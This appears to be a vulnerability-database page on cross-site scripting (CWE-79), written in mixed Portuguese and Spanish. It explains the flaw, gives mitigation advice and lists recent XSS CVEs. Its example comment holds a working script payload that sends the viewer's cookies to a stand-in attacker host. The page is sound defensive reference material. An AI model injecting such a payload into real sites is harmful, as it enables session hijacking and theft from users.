Fallos del tipo CWE-79

29.487 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-40986MEDIUMReflected Cross-Site Scripting in PideTuCitaEPSS 0.4%CVE-2024-11231MEDIUM우커머스 네이버페이 <= 3.3.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via mnp_purchase ShortcodeEPSS 0.4%CVE-2023-28083HIGHPotential Cross-Site scripting vulnerability in HPE Integrated Lights-Out 6 (iLO 6), Integrated Lights-Out 5 (iLO 5) and Integrated Lights-Out 4 (iLO 4). EPSS 0.4%CVE-2023-5110MEDIUMBSK PDF Manager <= 3.4.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2023-6961HIGHWP Meta SEO <= 4.5.12 - Unauthenticated Stored Cross-Site Scripting via Referer headerEPSS 0.4%CVE-2024-12339MEDIUMDigihood HTML Sitemap <= 3.1.1 - Reflected Cross-Site Scripting via 'channel'EPSS 0.4%CVE-2024-8172MEDIUMSourceCodester QR Code Attendance System delete-student.php cross site scriptingEPSS 0.4%CVE-2026-47665HIGHPenpot: Stored XSS via comment content, innerHTML renders unsanitized HTMLEPSS 0.4%CVE-2022-2059LOWStored Cross Site-Scripting in Agent ManagerEPSS 0.4%CVE-2024-23659MEDIUMSPIP before 4.1.14 and 4.2.x before 4.2.8 allows XSS via the name of an uploaded file. This is related to javascript/bigup.js and javascriptEPSS 0.4%CVE-2024-13069MEDIUMSourceCodester Multi Role Login System add-user.php cross site scriptingEPSS 0.4%CVE-2024-47885MEDIUMastro's client-side router has DOM Clobbering Gadget that leads to XSSEPSS 0.4%CVE-2023-5413MEDIUMImage horizontal reel scroll slideshow <= 13.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2023-34245HIGHCross site scripting (XSS) in @udecode/plate-linkEPSS 0.4%CVE-2025-22294HIGHWordPress Custom Field For WP Job Manager plugin <= 1.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2022-0900MEDIUMCross-Site Scripting Vulnerability in DivvyDriveEPSS 0.4%CVE-2022-40963MEDIUMWordPress WP Page Builder plugin <= 1.2.6 - Multiple Auth. Stored Cross-Site Scripting (XSS) vulnerabilitiesEPSS 0.4%CVE-2024-11366MEDIUMSEO Landing Page Generator <= 1.66.2 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2024-57427MEDIUMPHPJabbers Cinema Booking System v2.0 is vulnerable to reflected cross-site scripting (XSS). Multiple endpoints improperly handle user inputEPSS 0.4%CVE-2026-34241HIGHCtrlPanel: Stored XSS in Ticket Reply Notifications Allows Session HijackingEPSS 0.4%